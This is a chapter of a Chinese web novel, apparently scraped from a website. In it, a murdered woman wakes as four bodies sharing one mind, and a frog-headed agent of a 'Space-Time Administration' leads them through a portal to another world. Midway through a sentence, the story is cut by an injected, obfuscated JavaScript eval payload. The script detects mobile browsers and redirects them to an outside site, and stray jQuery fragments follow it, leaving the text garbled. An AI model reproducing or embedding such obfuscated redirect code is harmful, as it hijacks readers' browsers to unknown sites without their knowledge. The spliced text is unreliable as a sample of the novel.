1. 我特喵裂开来

......她家被水淹了吗,还是屋顶被掀了?


这是她醒来后下意识冒出来的第一个想法。


身下的‘床板’冰冷无比,身上盖着的‘被子’也一点保暖效果也没有,冷嗖嗖的。


眼皮还未掀开,脑子也有些昏昏沉沉的,有点想赖床的她习惯性把‘被子’往自己身上扯了扯,打算包裹得严实些再多躺一会。


这一扯,就扯出了问题。


“?” x复数。


首先。


她感觉到她成功将‘被子’更多地盖到了身上,但是她发现她身上盖着的好像并不是什么被子,而是一件衣服。


而同时。


她又感觉到并她没有扯到‘被子’,手抓了一个空,不光如此,身上原本盖的那部分布料也被抽走,寒意更甚。


又同时。


她发现她身上一开始根本就没有什么布料的存在,她胡乱去抓的手碰到一旁某个温热的存在。


然后她立刻又感觉到自己腰部被谁薅了一把,微凉的指尖触碰到没有任何遮蔽物的皮肤,把她刺激得一激灵。


好的。


现在她彻底清醒了。


惊疑不定地睁开眼爬起身扫视周围,然后错愕地发现映入眼帘的每一个视线里都有另外三个愕然瞪大眼的自己。


是的,所有的她好像都共享感官,甚至是想法和意识,毫无任何滞涩。她如同本能般意识到了这一点。


可这并不妨碍她发出惊呼。


因为虽然脑子里的记忆似乎离家出走了,她并不记得自己是谁,但隐约地,她还是知道这种情况并不正常。


于是异口同声:


“嗯?”


“......啊?”


“什么?!”


“噫!”


惊呼过后,她,或者她们又同时猛地闭上嘴,这是由于在情绪发泄过后,稍微冷静下来的她们发现了更多奇怪的事情。


比如她们现在好像并非在自己已经开始印象模糊的家,而是在某处有点像是废弃仓库一样的地方里面。


周围堆放着很多一看就很陈旧的板条箱,看上去生锈到不知道会不会突然倾倒的铁皮架子还算规整地填满了这个不算大的仓库,架子上都用黑布遮盖着,上面厚厚的絮状黑灰让人毫无掀开查看的欲望。


这好像是地下。


她们没看到有窗户。


唯一的光源就只有头顶如同恐怖片一般闪得跟老大爷的鼾声一样令人生怕什么时候就彻底静止的电灯。


借助灯光,她们能够看清自己全部都没有穿任何衣服地集中在一块。


喔,其中一个自己身上半盖着一件破烂的衣物,那是一件腰部和胸口偏右肩处都有一个巨大豁口的白色女士衬衫。


而另一个自己身边则还散落着一条消失了一条裤腿的紧身蓝色牛仔裤,裤脚不远处还落着一只孤零零的鞋子和鞋子里面瘪下去的袜子。


盖着衬衫的自己拿起了这件感觉极为熟悉的衣服,摩挲着布料的触感,在其她自己的目光下细细端详了一番。


所有豁口,以及领口处都被暗红到发黑的渍迹浸透,虽然现在似乎已经干了,变得硬邦邦的,但凑近闻还是能闻到那上残留的黏腻地湿润感。嗯,有点恶心。


她们都这么想到。


很明显,这里曾经不知道因为什么原因发生过一场命案。


而受害者就是她自己。


在自己遇害后,她不知道为什么又活了过来,甚至还......


裂开了。


这就属实有点超出她自己的理解范围。


不知道自己是谁,不知道自己在哪,也不知道自己要干嘛的她纷纷叹了口气,抬起手跟周围所有的自己一起互相击了个掌。


往好处想。


至少她现在并不孤单,不是吗。


她苦中作乐鼓励着自己。


互相搀扶着站起身,身上一如开头那边冷嗖嗖的。


就在她苦恼该怎么在这个门上挂着锁的室内出去,如果出去到底出去几个自己,出去之前是不是该搞几件衣服以及怎么搞在哪搞的时候。


有点科幻的一幕突然出现了。


其中一个她在她们四散开查看周围的时候,突然发现面前的空地处突然横空冒出来一个有点像很多科幻电影里面的传送门一样的东西。


它首先是一条在半空中令人难以忽视的线,然后如同拉下卷帘门一般向下直到地面延展开一道长方形的黑色幕布。


先是一只锃光瓦亮的黑色皮鞋。


从这道黑色的幕布门中,悠然走出了一个四肢好像被拉长的面筋一般细长,穿着一身黑色西装但脑袋却是一个翠绿色蛙头的,


额,看衣着应该是男性的生物吧。


在传送门出现的瞬间,她立刻就反应过来,如同呼吸般丝滑地同时行动了起来。


一个她警惕地盯着盯着那道门准备试试交涉。


一个她飞快地藏去了一个最隐蔽的角落屏住呼吸。


剩下的她纷纷抄起了附近勉强可以作为武器的生锈的杆子或者散落在地面的榔头什么的,躲在架子后面打算一有不对就拼啦。


不知道为什么,她意识里很清楚自己会死,但又没那么容易死。


只要还有一个她在,‘自己’就永远存在。


在她警惕的眼神中,那个人...... 好吧,那个蛙头,他说话了。


只见他用他那细长的肢体行了个让人感觉十分怪异的礼,做作地整了整看起来有点卡嗓子的领结后,蛙嘴里冒出了一个成熟低哑,跟他这个形象不太符合的男声。


“你好,这位小姐。们。”


在她‘青蛙说话了!’的半痴呆眼神中,他介绍了自己并阐述自己的目的。


他好像一眼就看破了那几个藏在周围的另外几个她的位置,毫不在意点破了并侃侃而谈。


“你问我是谁?(她没问!)我来自一个叫时空管理局的组织,最正规的那个!字面意义,我们就是为了维持世界时空和轨迹的正常发展及稳定度而存在。”


“喔,你问我来这里干什么?


我所在的部门简单来说就是专门负责处理你们这样的异常状况,我相信你们自己也清楚你们现在的情况并不正常。


现在的你们,对于这个宇宙的规则和历史进程来说就是个异物,bug,或你所想到的任何其它形容。”


他喉囊鼓了鼓,那对又大又圆的蛙眼好像在看她又好像没有,两边侧面的方形瞳孔并没有焦距。但她还是敏锐地感觉到自己好像被从头到脚评估了一遍。


“按照正常发展来说,你...们现在应该已经死了,本不该存在。这个世界的规则建国后是不许成精的,如果继续停留下去,几个你都会死得干干净净。我希望你们能跟我离开这里,去一个新的世界,那个世界对你们这样类似的存在比较,嗯,包容。”


“你可以叫我格洛特先生,我会引导你顺利在另一个世界安顿好,你们完全可以相信我的,我向你保证,小姐们。”


“喔对了,你问我兴趣爱好是什么?我会回答你我喜欢下厨,我做的蛙腿汉堡在我们单位的评价一流。以及我最喜欢的颜色是粉色,我喜欢把最喜欢吃的东西留在最后面吃,最讨厌游泳。另外我最喜欢看的是星际xx时尚周刊,尤其是上一期,那些搭配简直经典!只可惜我每天上班都要穿这套,不然我......”


天呐。


谁问你了?!


“我不能拒绝,是吗?”


她面无表情地打断道。再由着这位自称格洛特的青蛙人这么叨叨下去,她怕她一会连他穿什么颜色的底裤都知道了。


而格洛特也终于如她所愿止住了刚刚的话题,喉囊再次鼓动了一下,对对方语气中的不信任和抗拒豪不在意。


他音调平稳地道。


“你当然可以选择留下,我不会用那种逼迫的手段,这不是我的风格。可是小姐们,你们清很楚我没有在说谎,不是吗?”


盯着她的蛙眼还是那么的炯炯有神,在闭嘴的时候这位格


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706086|173533||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


洛特还是很有神秘感和一丝丝非人的压迫感的。


止住因为焦躁下意识想要握拳的动作,意识到自己确实没有其它更好选择的她瘪了瘪嘴。


他确实没说谎,因为她自己其实切身感觉得到。


这个世界在排斥她。


作为曾经应该死去的‘她’的那部分,正在顺应原本该有的轨迹,被这个世界逐渐抹除,或者说,‘纠正’。


关于自己曾经的身份,家人关系等等的记忆正在脑中逐渐流失,首先流失的就是‘她’原本的名字。


‘她’ 到底是谁,为什么出现在这,又为什么被杀害,仇家又是谁,有什么目的。


这些她一概不知。


随着记忆地加速流失,她连原本胸口的那股想要查明真相复仇的郁气,以及寻找自己原本的...... 那个谁来着?忘了。


总之她连那些情绪都开始随之消散了。


如果等‘她’ 的记忆真的完全消失,那剩下的她到底会变成什么样 ......或者说会变成什么,很难说。


反正不会是她想要的结果。


看到她这副模样,蛙人格洛特已经知道了她的选择。


“那么你有什么想问的吗,小姐们?嗯,为了方便称呼,我认为你也应该透露一下你的名字?”


“我忘了。”


她坦诚道。


虽然可以临时编一个,但她还没想好编什么,毕竟她现在脑袋空空。


“......”


格洛特闻言眨了眨蛙眼上的瞬膜,非人种看不出表情的脸上令人难以分辨他对此有什么想法。


“所以我现在是需要去别的世界,那边不会排斥我?”


既然没得选,那就只好接受。


“我能知道是怎样的世界吗?那边是不是有很多像我这样的,会不会很混乱?”


她真心为自己的未来担忧。


格洛特耐心一一给她解答道。


“并非不会排斥。每个不同的世界的规则都不尽相同,对非本宇宙的东西或多或少都会有一定的排斥度。


但如果遇到与本宇宙规则兼容,存在比较相似的东西,排斥程度会相对没那么高,只要不做出违背或破坏当前宇宙规则这种行为,基本上不会像你现在这样被清除。”


“而且,只要时间够长,还存在‘被接纳’的可能性,也就是成功成为本宇宙的一部分。这也是我目前尝试帮你做的,小姐们。”


他顿了一下。


“至于混乱,有一点吧。但我只能说,那个世界,是你会喜欢的,或者说,曾经的‘你’。”


“......?”


完全没印象的她只能一脸问号。


格洛特摊手。


“好吧,我会记得给你带一些漫画书和影碟过去的,之后你自己看看就知道了。”


“漫画?影碟?”


她脸上的问号更大了。


但蛙人并没有对此再做更多解释。


“虽然你问我能不能再跟你多聊聊,但很可惜,我们,或者应该说你没有太多时间了。在小姐你们忘记我刚刚对你的说明之前,让我们先离开这吧。


我们之后还会继续保持联络的,有什么更多的问题可以之后再问。”


格洛特让开了身位,划了个手势以邀请的姿态比向那道看不清内里黑漆漆的传送门。


见状,她也不再磨蹭。


她身后那几个原本藏着的自己也都老实地钻了出来,挨个乖巧地排队走了进去。


等最后一个一脚迈入黑色幕布时,一旁的格洛特突然想起什么一样,突然开口。


“喔对了,我们这边有份工作很适合你们这样的人才,先别拒绝,有补贴的!......我想你这边应该听说过某收容基金会?”


“不记得也没关系,我再多给你些......”


已经身处漆黑传送通道的她们全部露出了统一地死鱼眼。


我觉得比起你的那些兴趣爱好,这个可以优先说的,真的。